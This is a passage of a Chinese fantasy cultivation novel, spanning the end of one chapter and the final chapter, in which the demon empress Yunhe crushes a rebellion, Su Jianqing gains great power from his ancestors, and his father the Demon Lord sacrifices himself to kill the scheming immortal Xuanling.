她看看桌上的画纸,又看了眼躺在石床上的苏澜溪,猛一闭眼下了决定。 “你先留在此处,等我处理完妖域的事再来接你。” 苏见清犹疑,“你一个人回去?” 蕴禾点头,飞快倾身在他侧脸亲了一下,笑道:“放心,我是谁啊,这世上能伤我的人少之又少,我不会有事的。” “你就先在这儿陪你娘,此处既是苏家祖地,定会利于你们苏家人修炼,你好好提升修为,要是真有大事,你不正好替我打架吗?” 苏见清想了想,点头同意了。 他抓住蕴禾的手,“我娘在手札里说曾交给师……玄陵一样用来通信的灵器,你等等,我现在就去找。” 蕴禾起身与他一起。 两人在灵器库里翻找,终于找到一对玉佩模样的灵器,只要将灵气注入其中,便能与持另一半玉佩的人适时交流。 蕴禾勾过苏见清的脖子,在他唇上一咬,“等我来接你。” 苏见清凤眸缱绻,温顺道:“好。” 他拿出准备好的,属于自己的一瓶血放在蕴禾掌心,学以致用,最后落了一滴在地上,“我等你。” 蕴禾又亲他一口,把血收好,毫不犹豫转身,走入地面悄无声息打开的通道。 苏见清看着她走入通道里,身影缓缓从自己眼前消失,轻轻舒出一口气,回到祖地的密室。 …… 云雾缭绕,群山蔓延。 五光十色、花里胡哨的灵力在空中炸开,绚烂得仿佛夜空中绽放的烟花。 片刻后,正在修炼的弟子们接二连三停下歇息,凑在一处说笑。 有人突然开口,“你们说,流风仙尊真的成为废人了吗?” 提起这个名字,在场所有弟子纷纷缄默,一名女弟子小声道:“掌门长老们这么厉害,应该能治好仙尊吧?” “但他当时可是震碎了所有的灵脉。” 小弟子惆怅叹气。 他这一叹,其余人也跟着长叹一气,不约而同将目光落在某处。 翠绿山峦半隐在云岚间,山巅落着一座华美宫殿,一条小蛇穿过丛荫,窸窸窣窣钻进某间房内。 屋内漆黑一片,一道人影坐在黑暗中,安静听着那小蛇吐蛇信子。 蓦地,他忽然伸手一把掐住小蛇,在他震惊的目光中,浓烈魔气一缕缕缠绕上去,瞬间将小蛇捏成齑粉。 流风看着手心散去的尘埃,轻声道:“如此不堪一击,这条魔蛇之前应该受过重伤。” 【流风?!你怎么会醒过来?!】 一道声音在脑海深处响起,流风缓缓勾唇,“在你的设想里,我是不是应该被你困在识海深处,被你的魔气彻底吞噬?” 那声音难以置信,【你是怎么清醒的?】 流风眸光一颤,轻声道:“我看见了他。” 他勾唇,眼里闪烁着温软笑意,“他和他娘真像,都一样漂亮。” 那丝温柔只出现一瞬,流风垂下眼睫,“你在桑若城自爆灵脉,就是为了趁机躲到幕后,在魔族进攻玄清域时背叛鸿鹄仙宗,以此向魔尊邀功?” 那声音没了动静。 流风轻轻笑了笑,“当年,你趁我重伤将我夺舍,杀我妻,这个仇我时刻铭记。今日,到你该偿还的时候了。” 那道声音气急败坏,【你得意什么?你如今不过一缕残魂,你能对我做什么?】 流风提笔,在纸上书写,“我如何做,你待会儿就知。” 那人看清他的动作,不屑冷笑,“来不及了,此刻我魔族大军已出征,定要踏平你们玄清域。” 流风:“来不来得及,非你说了算。” 他落下笔,将纸折成仙鹤的模样,轻轻将之掷出去,旋即盘腿坐好,慢慢闭上眼。 一缕火苗在他腹中升起,脑海里的声音惊惧尖叫,【自爆!你怎么能动用我的魔力?!停下来,流风,你快停下来!】 “这么多年下来,你我早已合为一体,你能动用我的灵力,我为何不能用你的魔力?” 流风牵唇,“我说过,我会让你付出代价。” 火焰逐渐蔓延至全身,红竟尖叫,【流风,停下,有什么事我们好商量,你快停下,我们真的会死的!】 “那就去死吧。” 流风面带笑容,“能与魔域红竟魔将一同赴死,是我的荣幸。” 红竟咒骂,【流风,你这个疯子!】 疯子吗? 流风面色恍惚。 当年他“亲手”杀了涵儿后就已经疯了。 若非当时红竟修为高深,他没有把握杀了他,流风早就和他同归于尽了。 这么多年来,他为了让红竟放松警惕,主动将身体交给他,暗地里却在熟悉魔修魔力的运转。 忍辱负重多年,就是为了今日。 失神中,他隐约看到一道身影,女子穿着成婚当日的嫁衣,站在他面前,笑意盈盈对他伸手。 “阿风,快来。” 流风扬起笑,“涵儿。” 我来找你了。 不必担心我们的儿子,他长得很好,有心上人陪伴,定能畅快一生。 流风闭眼,火焰将他的身影彻底吞没,与那道惊惧叫声一起,彻底从这世间消失。 “嘶……” 巫弃忽然弯腰捂住胸口。 “阿弃,你怎么了?” 曲江篱急忙把他扶住。 “没事。” 巫弃摇头,拧眉不解,“只是突然间觉得心口有些疼。” “我替你疗伤。” 曲江篱正要动作,巫弃一把拉住她的手,摇头道:“已经没事了,正事要紧。” “真的没事?” 那股无缘无故出现的痛意的确已经消散,只是心里不知为何却有些怅然若失。 巫弃忽略那股空荡之意,握紧曲江篱的手,对她笑道:“自然是真的。” 曲江篱认真打量他一番,见他神情无异,这才放下心。 二人偏头,一齐看向最前方的那道人影。 蕴禾拿着玉佩,对那头的苏见清道:“今天说到哪儿了?” 苏见清:“说到小时候偷偷跑出伏渊,原以为回去过后会受到责骂,却没想到整个伏渊没一个人发现我失踪过。” 他笑了笑,“甚至还因为懈怠修炼被师……被玄陵骂了一通。” 蕴禾皱起眉,“看来那天还是骂少了,等找个机会,我再去伏渊把玄陵骂一顿。” 苏见清嗓音含笑,“好。” 微顿片刻,他轻声道:“我知道阿蕴姑娘心疼我。” 蕴禾嘴角上扬,“你知道就好。” “妖域的事如何了?需要我回去帮忙吗?” 蕴禾微顿,语气平静道:“一桩小事而已,是清淼小题大做了,你在祖地乖乖等我,我有空就去接你回来。” 苏见清应,“好。” 两人又说了会儿话,蕴禾收起玉佩。 一根竹簪在指间穿梭,冷冽的眸光盯着下方的妖兵。 姬邑这只老虎上蹿下跳了这么久,不仅联合其余几名妖王起兵造反,想把她从妖皇的位置上拽下来,甚至还暗中勾结魔族想要她的命。 很好。 循环重生几次后脑子都不好使了,她就说自己好像忘了什么,原来是忘了今年会捏死姬邑那头该死的老虎。 不过现在也不迟。 就是没想到,魔族竟会提前这么久与人族开战。当下的苏见清还不是名震修真界的救世主,他只是一个即将晋升化神的元婴,修为差距这么大,这次他总不会冲上去送死了吧? 清淼落到蕴禾身旁,低声道:“陛下,可以出发了。” 蕴禾颔首,绿光一转,青竹已握在掌中,她望着下首数之不尽的妖兵,清朗的嗓音传遍整座东隅城。 “此战必胜。” “此战必胜!” “此战必胜!” “此战必胜!” 妖兵们的声音在空中经久不散,尽显狂傲自信。 …… 苏见清垂着长睫,指腹在光滑玉佩上轻轻摩挲。 虽然在妖域待得不久,但据他所知,清淼大人最是稳重不过了,怎么会小题大做? 妖域发生了什么事?阿蕴姑娘为什么不让他知道? 苏见清满肚子的疑问。 或许是他多想了,阿蕴姑娘自信强大,或许在清淼大人眼里火急火燎的事,在她看来不过是小事一桩。 苏见清勉强镇定下来,坐到苏澜溪身边,轻声和她说话。 可之后几日,却让苏见清越发狐疑。 阿蕴姑娘离开的那几日每日都会用玉佩和他说话,可这几日她从未主动开过口。苏见清出声时,她要么不回应,要么就是匆匆说了两句,那头便没音了。 苏见清试探着提出回去,可阿蕴姑娘却一口拒绝,只让他在祖地再多待一阵。 苏见清可以肯定,一定是出事了。 他当即折回去,对苏澜溪道:“娘,妖域不知出了什么事,我要回去看看,等事情解决,我再与阿蕴姑娘一道来看您。” 苏澜溪双眼紧闭,再不能回应。 苏见清对她笑了笑,转身走出去。 将要离开此地时,身后骤然大亮。 苏见清回头。 两幅画面出现在他面前。 一幅里,蕴禾身着盔甲,手持青竹站在青鸾身上,身后跟随着无数妖兵。她与一名显出虎影的妖王战在一处,眉眼尽是冷冽。 另一幅…… 魔气与灵气交织,魔修与人修在厮杀,尸横遍野,鲜血流淌成河,仿若炼狱。 苏见清瞳孔骤缩。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第92章【正文完】 第92章 乌云盖顶,妖气滔天。 蕴禾一棍击落对面的姬邑,冷声道:“敢造本皇的反,姬邑,你想好怎么死了吗?” 姬邑收势,咧开嘴一笑,“咱们妖域向来是弱肉强食,这妖皇之位,你坐得,我如何就做不得?” 蕴禾也笑了,眼里却夹杂着刺骨寒霜,“行,那就让本皇看看,你如何登上这妖皇之位!” 语罢,青竹顶端竹叶大亮。 姬邑脸色一变,高声喝道:“还不快来助我!” 几道雄厚气息接二连三从远处奔来,有妖高声道:“让本王来领教领教陛下的杀招。” 蕴禾冷笑,“行,那就先拿你开刀。” 她抡起青竹,倾身砸下! 视线里,属于蕴禾的身影越来越小,苏见清看着她冲入众位妖王的包围圈里,气势磅礴,所向披靡。 他侧过头,又看向另一幅画面。 魔族气势汹汹朝着玄清域进攻,那有过两面之缘的魔尊弼隰乘坐十二头巨兽拉乘的马车,姿态随意摆手,轻飘飘开口,“杀。” 话音落下,数不清的魔修大吼着冲出去厮杀,鲜血落在魔尊座驾上,将马车上的旌旗染得格外鲜红。 苏见清闭了闭眼,轻声道:“为什么让我看见这些?” 静谧无声,无人应答。 某一个瞬间,苏见清似乎感应到了什么,睁开眼睛,缓缓低头看着那棵巨树。 属于苏澜溪的树叶之下,被他忽略的地方飘起一片叶子,上面刻着苏见清三个字。 他伸手抚摸树叶,刹那间叶片大亮,一股磅礴澎湃的力量顺着叶子渡入苏见清体内。 全身骨骼嘎吱作响,血肉仿佛撕裂又聚拢,剧烈的疼痛让苏见清脸色惨白,控制不住地跪倒在地。 他仿佛明白了那是什么,努力放缓呼吸,接纳那股能量。 元婴、化神初期、化神中期、化神后期、化神巅峰、大乘期! 短短一瞬间,苏见清身上修为暴涨。 他咬牙忍受,鲜血从指缝中淌出,缓缓流淌至巨树下。 忽然有股清风吹来,温暖得仿佛母亲的怀抱,令苏见清眼眶发酸,竟有股落泪的冲动。 身上疼痛减轻不少,苏见清缓缓盘腿坐下,做出冥想的姿势。 身后巨树光芒暗淡不少,却依旧在黑暗中亮起荧光,不离不弃。 …… 蕴禾把自己摔进软榻里。 该死的姬邑,不知何时联合了其他妖王组成了什么阵法,导致开战以来,她始终久攻不下。 这要是在她全盛时期,再加十个妖王她也不在话下。 这场叛乱已经持续了半年之久,再不能砍下姬邑的脑袋,岂不是堕她妖皇的威风? 蕴禾猛一闭眼,“江篱。” “阿蕴姐姐,我在。” 曲江篱抬头,“阿蕴姐……哦不,陛下,有何吩咐?” 蕴禾:“明日你辅助我,巫弃,清淼,你们各牵制一名妖王。” 她冷下脸,“明个儿我非得砍下姬邑的老虎脑袋下酒不可。” “是。” 明日转瞬即至。 蕴禾一出现,以姬邑为首的妖王立即将她围住。落在最后的妖王刚要入阵,一道青光闪过,羽剑无声而至,将他的前路彻底封死。 妖王抬头,只见清淼悄无声息站在他身前,沉声道:“你的对手是我。” 另一边,巫弃同样牵制住一名妖王。阵法威势大减,姬邑脸色隐隐难看。 蕴禾一棍扫落,几名妖王齐齐祭出武器防御,她将青竹插在身前,十指翻飞,光影如蝶。 数道青色屏障自妖王中升起,将他们彻底隔开。 蕴禾对上姬邑难看的脸色勾唇一笑,“你有阵法,本皇也有。” “蠢货,杀了本皇这么多妖兵,该对你的行为付出代价了。” 指腹放在唇边,蕴禾狠狠一咬,一滴鲜血溢出。 “江篱!” “来了!” 曲江篱立即回应,她身后站着数名水麒麟族族人,众人纷纷结印,以曲江篱为介,将精纯妖气输到蕴禾体内。 姬邑见势不妙,立马掏出一大把小花。 蕴禾早有准备,指尖一弹,一缕金色火焰朝姬邑飞去,瞬间化为熊熊大火,将所有小花一并湮灭。 此物无用! 姬邑暗恨。 就在这时,蕴禾双眸转绿,眸底似有漩涡转动,将姬邑的身影困入其中。 【你觉得你能当上妖皇吗?】 姬邑下意识道:“当然……” “轰——” 话未说完,蕴禾将那滴血摁在青竹上,竹子由绿转红,颜色越来越深,威压也越发重了。 蕴禾拎起竹子,当头朝姬邑砸下。 狂暴妖力席卷,姬邑瞬间清醒,脸色瞬间大变,当即就要后退。 蕴禾轻轻勾唇,迟了。 棍未到,妖力先至,仿佛咆哮的巨浪,瞬间将姬邑吞没。 他瞪着眼,眸色惊恐地被蕴禾的妖力吞噬,身体暴射出去。 下一瞬,一道身影悄无声息出现在姬邑身后,蕴禾拎着竹子,神色漠然挥出一棍。 “当然个屁。” 有东西撞在青色屏障上,将那屏障撞出一个缝隙,里头的妖王惊喜,正要逃出去,却见一道身影缓缓朝他走近。 蕴禾拾起地上姬邑的脑袋,对他扬手,“你想出来?” 妖王勉强镇定,下意识往后退,“不、不用。” 蕴禾咧嘴,“用不用的,可不是你说了算。” 她目露凶光,将姬邑的脑袋一扔,一棍砸下去! 青色屏障接二连三撤下,一个又一个脑袋从里面扔出来,蕴禾望着两方妖兵拼命厮杀的一幕,蓦地张唇喝道:“姬邑已死,都给本皇停下!” 声音远远回荡,却无法阻止杀红了眼的妖兵。 蕴禾不耐,伸手将竹子插入地面,“本皇让你们停下!” 妖气以她为中心向四面八方蔓延,震得妖兵们身子踉跄,惊惧看向她的方向。 “作乱妖王已死,降者不杀。” 寂静片刻后,战场上爆发出整齐巨大的声音,“降者不杀!” “降者不杀!” “降者不杀!” 为首叛兵看着姬邑的头颅,不由放下武器。有人起头,后边立马有人跟上,齐刷刷一片跪在地面。 妖兵们欢呼,“陛下威武!” “陛下神威浩荡!陛下千秋万代!” 蕴禾面色柔和下来,切道:“难听。” 清淼缓缓落在她身后,闻言嘴角轻轻勾起。 叛军虽降,但留给蕴禾的却是一摊烂摊子,她忙得脚不离地,根本没时间去想苏见清。 可这日一抬头,却见本该在东海祖地的人好生生站在她面前。 蕴禾惊住,“你、你什么时候来的?” “不久。” 苏见清对她笑,“阿蕴姑娘,有件事我想去办,可在离开之前,我觉得应该和你说一声。” 蕴禾不是傻子,听到这话立即反应过来,“你知道了?你怎么知道的?” 苏见清:“它出现的时候,我就该知道。” 这话说得糊里糊涂的,蕴禾听不明白,她只知道一件事。 “你要去?” 蕴禾气极,“就你那元婴的修为,你去了能做什么?不过是白白送死!” 对上苏见清嘴角笑意,蕴禾蓦地一怔,仔仔细细将他打量一番,震惊地瞪直了眼,“你、你的修为……为何涨得这么快?” 不过半年多没见,竟然一脚迈入了大乘? 这修炼速度,就算是当年的她也没那么夸张啊。 苏见清抿唇,“是先祖馈赠。那棵树里藏有先祖们逝世时的修为,这么多年下来足以让那树生灵,它分了些修为给我,才使我一脚迈入大乘境。” “阿蕴姑娘。” 苏见清认真看向蕴禾,“我现在已经有了修为和自保的能力,我可以去。” 蕴禾直视苏见清,“你真的想去?” 他斩钉截铁道:“是。” 蕴禾看了他一阵,无奈叹气,苏家的人是不是都得了什么不当救世主就难受的病?一个个的都抢着去送死。 知道拦不住苏见清,蕴禾抬头,认真道:“你可以去,但你不能死。你我同命相连,你死了我便也死了,所以,你无论如何也得保住这条命,知道了吗?” 苏见清怀疑自己听错了,迷茫道:“阿蕴姑娘,这是何意?我听不明白。” “你不是想知道我为何会随你去伏渊?” 见苏见清点头,蕴禾接着道:“当初那只食铁兽是我,你救了我,而我在心里乱七八糟说了些要报答你的话,导致别人中在我身上的同生咒生了效,不过生效的对象却变成了你。” 蕴禾望进苏见清眼中,“你我同命相连,生死与共,这次,你可听清了?” 苏见清宕机的大脑许久才重新运作,结结巴巴道:“不、不能解了那什么咒吗?” “当然可以。” 蕴禾直言,“只要用一种更紧密的方法将那咒压下去就行。” 苏见清:“什、什么?” “结契。” 蕴禾道:“你我结契,成为道侣,那同生咒自然就失效了。不过嘛,只要你一死,我照样会受到反噬,修为大减。所以……” 蕴禾清亮的眸光落在苏见清身上,轻声道:“你不能死。” 苏见清怔愣许久,抿紧双唇,重重点头。 “阿蕴姑娘,我答应你,我一定会活着回来见你。” “他会死。” 两道声音同时在蕴禾耳边响起。 她倒在榻上正在回忆几日前苏见清离开时的模样,忽然听到这道声音,眉眼瞬间阴冷,“谁,装神弄鬼的想做什么?” “他会死的。” 蕴禾霍然坐起,低喝道:“出来!” “别找了,我存在于你的心里。” 蕴禾拧眉,“你到底是什么东西?” “我不是东西,我只是一道意识。” “什么意识?” “天道意识。” 蕴禾嗤笑一声,“天道意识,你怎么不说自己是神呢?” 那道声音轻叹一声,并未接话,反而道:“你重生了这么多次,难道当真不知他必死的结局吗?” 蕴禾僵住。 重生的秘密她从未告诉过任何人,这个秘密一直存在在她心内,这个声音是怎么知道的? 蕴禾起疑,“你当真是那所谓的什么天道意识?” “不错。” 那声音接着道:“你可知你为何会多次重生?” 蕴禾半信半疑挑眉,“愿闻其详。” “因为你的命与苏见清相连。” 声音道:“扶风苏氏多次护佑苍生,得天道赐福,原本福泽深厚,可再延续数万年,不承想神界被毁,仙门崩塌,此方天地也受到殃及,旧天道在逐渐消失。” “苏见清是扶风苏氏最后的子嗣,他身上有天道庇佑,只要天道不灭,他可一直存活到新的天道诞生。” “但过去的十世他都死了。天道只能带着他与你回溯光阴,回到过去。” “可天道的力量正在衰竭,意识也逐渐模糊,这一世,将是苏见清与你的最后一世。” “他此次若是死了,将再无重*生的机会。” 蕴禾心中一紧,抓住声音话里的漏洞,“你说他身上有天道庇佑,可以一直活下去,但他为何会死?” 那声音沉默良久,最终长叹一气,“因为杀他者,是他血亲。” “你方才不是说苏见清是扶风苏氏最后的……” 蕴禾话音一顿,陡然愣住。 苏见清并非只属于扶风苏氏,他身上还流着自己父亲的血液。 蕴禾将手攥紧,沉声道:“你的意思是,魔尊弼隰,便是苏见清的父亲林予清?” “正是。” 蕴禾难以置信,“他不是已经死了吗?” “他在被玄陵暗杀的第一次侥幸逃脱,却得到了一颗魔心。第二次,他被虐杀时,那颗魔心趁虚而入,在玄陵眼下瞒天过海,救了林予清一命,也引诱他入了魔。” 蕴禾反应了许久,咬牙道:“所以,你的意思是林予清入魔后为了向玄陵复仇,选择成为了魔尊弼隰,随后大举进攻玄清域,却被遭到玄陵洗脑的苏见清拦住,最终他们父子二人如玄陵所愿自相残杀,同归于尽?” 那声音沉默须臾,“不错。” “好,好个玄陵!” 蕴禾大恨,“把一家三口耍得团团转,最后还让他们去地府团聚了是吧?” “早知那日,我就该一棍打死他!” 深呼吸吐出胸腔浊气,蕴禾又问:“你既知事情的前因后果,为何不告诉林予清实情?” “除了苏见清死亡,其余时间我一直在沉睡,此次若非扶风苏氏残留的能量将我唤醒,我将会在沉睡中湮灭。此外,唯有最接近神的存在之人才能听到我的声音。” 蕴禾拧眉,“林予清修为也已臻大乘,你为何不能与他对话?” “他沉浸在仇恨中,早已丧失了修炼最初的纯粹之心,哪怕飞升,最终也会败给自己的心魔。” 变相夸奖的话并未让蕴禾展颜,她呼出一口气,“我知道了。” 那声音道:“这次苏见清能否活下来关键在你。新的天道即将诞生,仙门或将修复,你能不能成为万年以来修真界的第一个飞升者,我极为期待。” 这句话落下,那声音彻底消失。 蕴禾呆坐在原地,默默消化方才那些话。 一刻钟后,她霍然站起,“清淼!” 清淼极快出现在蕴禾面前,“属下在,陛下有何吩咐?” 蕴禾:“本皇要出去一趟,这段时间妖域之事由你全权负责,能做主的你自己做主,做不了主的等本皇回来再说。” 话音落下,她已匆匆走出殿门,身影极快消失在清淼眼前。 “诶。” 清淼疑惑,“发生了什么事,陛下这是怎么了?” 无人回复。 能答复她这个问题的蕴禾已乘坐青羽飞出了妖域,往玄清域飞去。 这段时日,魔族大举入侵玄清域,蕴禾一路问去,得知人魔两族最近正在避生渊作战,急匆匆赶了过去。 路上所见皆是疮痍,无修为的凡人躲在废墟里瑟瑟发抖,任何风吹草动都能令他们面露惊恐。 蕴禾低低咒骂一声。 这林予清也真是的,明明是两个人的恩怨,为何偏偏要扯上人魔两族,这不是作孽吗? 飞了几日,眼见下方越发破败,随处可见被灵力和魔力轰倒的房屋山川,蕴禾心里暗暗焦急。 即将飞入避生渊时,余光瞥见下方缠斗的人魔中有几道熟悉的人影,蕴禾俯冲下去,拽住齐岱问:“苏见清在哪儿?” 突然出现的人影把成佩兰吓一跳。刚要尖叫出声,陡然看清蕴禾的脸,整个人愣在原地,“云团?” “哦不不不,是妖皇。” 蕴禾并未听见她的声音,再度问道:“看见苏见清了吗?” “看见了。” 惊讶过后,齐岱回神。 蕴禾追问:“在哪儿?” “那、那边。” 齐岱刚一抬手,手指的方向顿时有黑色.魔气与剑光交织,她来不及多说,丢下齐岱就走。 成佩兰看着她的方向,愣愣道:“她怎么来了?” 一道剑气从身旁穿过,齐岱抓住她的手,“别出神,杀敌要紧。” 成佩兰回神,重重点头,“好。” …… 一路飞去,地面沟壑纵横,仿佛无数把剑将大地划得伤痕累累。 远远瞧见有人影晃动,蕴禾加快速度往那边去,待离得近了,却见伏渊、鸿鹄等宗门的一干掌门长老立在下方。 蕴禾暗道晦气,瞥见玄陵染血的衣裳,又见那些人个个身上都带着伤,眉尾轻轻上挑。 哟,伤得还挺重嘛。 “这些该死的魔修,不是只有四个魔将吗?除了吕恒之外其余三个魔将一个也没见着,反而出现十来个陌生的面孔,一个比一个恶心。” 听到这话,蕴禾拧眉,瞧了眼对面身形隐在魔气中的魔将。 “师尊,我们怎么能让师兄一个人面对魔尊?师尊,您快去帮帮他啊。” 少女焦急的声音响起,蕴禾往回看了眼扶住玄陵的褚潇潇。 这个时候都要带在身边,那老东西还真是宝贝这个弟子。 嘴角刚勾起一抹冷笑,一道剑光将落,刺眼得紧, 蕴禾侧脸避开,下一瞬,下方顿时出现一条裂缝。 她往上一看,魔气如云翻涌,眇眇忽忽可见两道身影穿梭其中。 “师兄?” 林予清抹去脸上的血,轻呵一声,“你是玄陵的弟子?” 苏见清身上挂着伤,白袍被血水浸湿,一道血痕从下颌蔓延至锁骨,不断往外渗血。 他拄着剑微微喘气,应道:“曾经是。” “在我眼里,这个问题只有两个答案。” 林予清微笑,“是抑或不是。” “不是的话,你现在退开,本尊饶你一命。” “若是……” 他眸里冒出黑气,“本尊今日便将你斩杀在此。” 苏见清握紧长虹,“倘若魔尊现在撤兵,我即刻就退。” 林予清轻呵,“你做梦。” “那便没什么好说的了。” 苏见清抿唇,“战吧。” “后生可畏。可惜,今日注定要死在本尊手里。” 话音方落,林予清身上魔气狂啸着朝苏见清扑去。 苏见清面色坚毅,持剑迎上。 还真是不怕死。 见状,林予清正欲进攻,陡然听见一道很轻的声音。 “苏澜溪。” 什么? 林予清愣住。 女声越来越近,一道绿影出现在他身前。 “我说,苏澜溪。” 这个名字在林予清心里掀起滔天巨浪,冷戾的眸光射向蕴禾,“你这小妖修,怎么会知道溪儿的名字?” “我不仅知道,我还知道你们之间发生的一切。沼泽初遇、定情、她带你回家……玄陵从中作梗,你与苏澜溪分离。” 林予清不可置信,双手颤抖,“你、你怎么会知道?” “我进了扶风圣地,看到了苏澜溪的札记。” 蕴禾道:“那本札记不知被谁所撕,一半落在苏澜溪尸体旁,上面记载着与你相识相遇相爱的点点滴滴。” “溪儿的尸体……” 林予清面色恍惚,“在何处?” “在苏氏祖地。那个地方,唯有苏氏的血才可入,你可知我是如何进去的?” 林予清下意识问:“如何?” “当然是用苏氏的血。” 蕴禾看着对面的男人,“当年苏澜溪,曾为你诞下一子。” 仿佛一块巨石兜头砸下,林予清后退一步,全身颤抖,“你、你说什么?” 蕴禾不管他此刻心中如何震惊,自顾自道:“他叫苏见清,尚未出生时就被玄陵所害,苏澜溪为救幼子赴死。后来,那个孩子落到了拥有苏氏之血的玄陵手中。他给他安了个救世主的身世,将他带回伏渊,自幼教养他以除魔为己任。” “他是个很听话的孩子,二十多年来将自己师尊的话奉为圭臬,以致于在他与玄陵决裂后,还能不顾安危跑到避生渊来,为了所谓的师门、天下苍生、玄清域无数条生命,与自己的父亲相残。” “十次。每一次,他都为了所谓的大义而死。而你,作为他的亲生父亲,也亲手杀了他整整十次。” 林予清猛地看向与魔气缠斗的苏见清,眼里有泪落下,“他……是我的儿子?我和溪儿的儿子?” 蕴禾点头,“如假包换。” 林予清声线颤抖,“你说……我杀了他十次是何意?” 蕴禾将天道意识的话原原本本告诉林予清,他猛地闭眼,热泪滚落,喉间发出似哭似笑的声音。 “玄陵,玄陵,好你个玄陵啊。” 林予清压下心中涌现的恨意,再度睁眼,“我一直以为溪儿还活着,只是被玄陵藏起来,可原来,她早在二十多年前就已经没了?” “不错。” “哈哈哈哈哈,玄陵,好手段,将我们一家三口玩弄于股掌中。” 林予清眸底漫上红意,滔天恨意溢出,他猛地与蕴禾侧身而过,向下首的玄陵攻去。 此刻在他眼中,玄陵眼里含笑,仿佛终于得见他们父子相残,那可憎的面容令林予清恨到极致。 玄陵也发现了林予清的身影,他眼里笑意微顿,正要后退,一股巨力陡然将他推向林予清。 少女悲痛伤心的声音响起,“师尊!你有伤在身,哪怕是为了救师兄,也不能与魔尊正面相抗。” “师尊,你快回来啊师尊!” 褚潇潇! 玄陵大恨。 她居然敢背叛他! 来不及思索褚潇潇为何背叛,玄陵立即唤来灵剑相挡,然而一道绿光将他的剑打落,不过瞬息间林予清已将玄陵牢牢困住。 他裹挟着玄陵飞向半空,身上狂暴的魔力令玄陵惊恐睁眼,“你要自爆,你疯了?!” 林予清厌恶地看他一眼,“与你同归于尽,真是脏了我的身体。” 他冲向那团魔气,对苏见清打出一道魔力。 一缕清光从魔气中钻出,直直射向他。 林予清不躲不避,任由长虹穿透他与玄陵的身体。 剧痛从胸口漫出,他顺风坠落,当着诸位魔将魔兵的面呕出一口血,愤恨道:“玄清剑修无耻!本尊哪怕是死,也要拉你们伏渊的仙尊垫背!” “魔域儿郎听命,即刻撤回魔域,断不能让玄清域断我魔族血脉!” 最后看了苏见清一眼,下一瞬,林予清腹中陡然爆发出剧烈光芒,光芒所过之处,血肉尽数湮灭。 玄陵不甘大喊:“不——” “轰——” 苏见清从空中落下,怔怔看着爆炸中心。 他伸手触摸眼角,竟摸到一点晶莹。 一只手握住他的,缓缓与他十指相扣。 苏见清侧眸,惊讶道:“阿蕴姑娘,你怎么来了?” 蕴禾同样凝视那团光波,没好气道:“接你回家。” 心中烦闷随着她这句话烟消云散。苏见清慢慢笑起来,“好,我跟你回家。” 余波退散,什么也没剩下。 这世上再无魔尊弼隰与仙尊玄陵。 魔兵在魔将们的带领下往魔域方向退去,玄清域诸位掌门长老也往他们奔来。 “仙尊!” “师尊!” 典淮叫了声师兄,视线陡然落在苏见清身上,“见清,你……” 蕴禾不耐听他们说话,一把将苏见清拉上青羽,疾速往妖域飞去。 “跟什么跟,本皇这叫抢。” “等本皇把你抢回妖域,你再也不能踏出东隅城半步,时时刻刻都要出现在本皇跟前。” “好,阿蕴姑……阿蕴。” 身后狼藉遍野,唯有前方散发的光芒温暖又充满希望。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m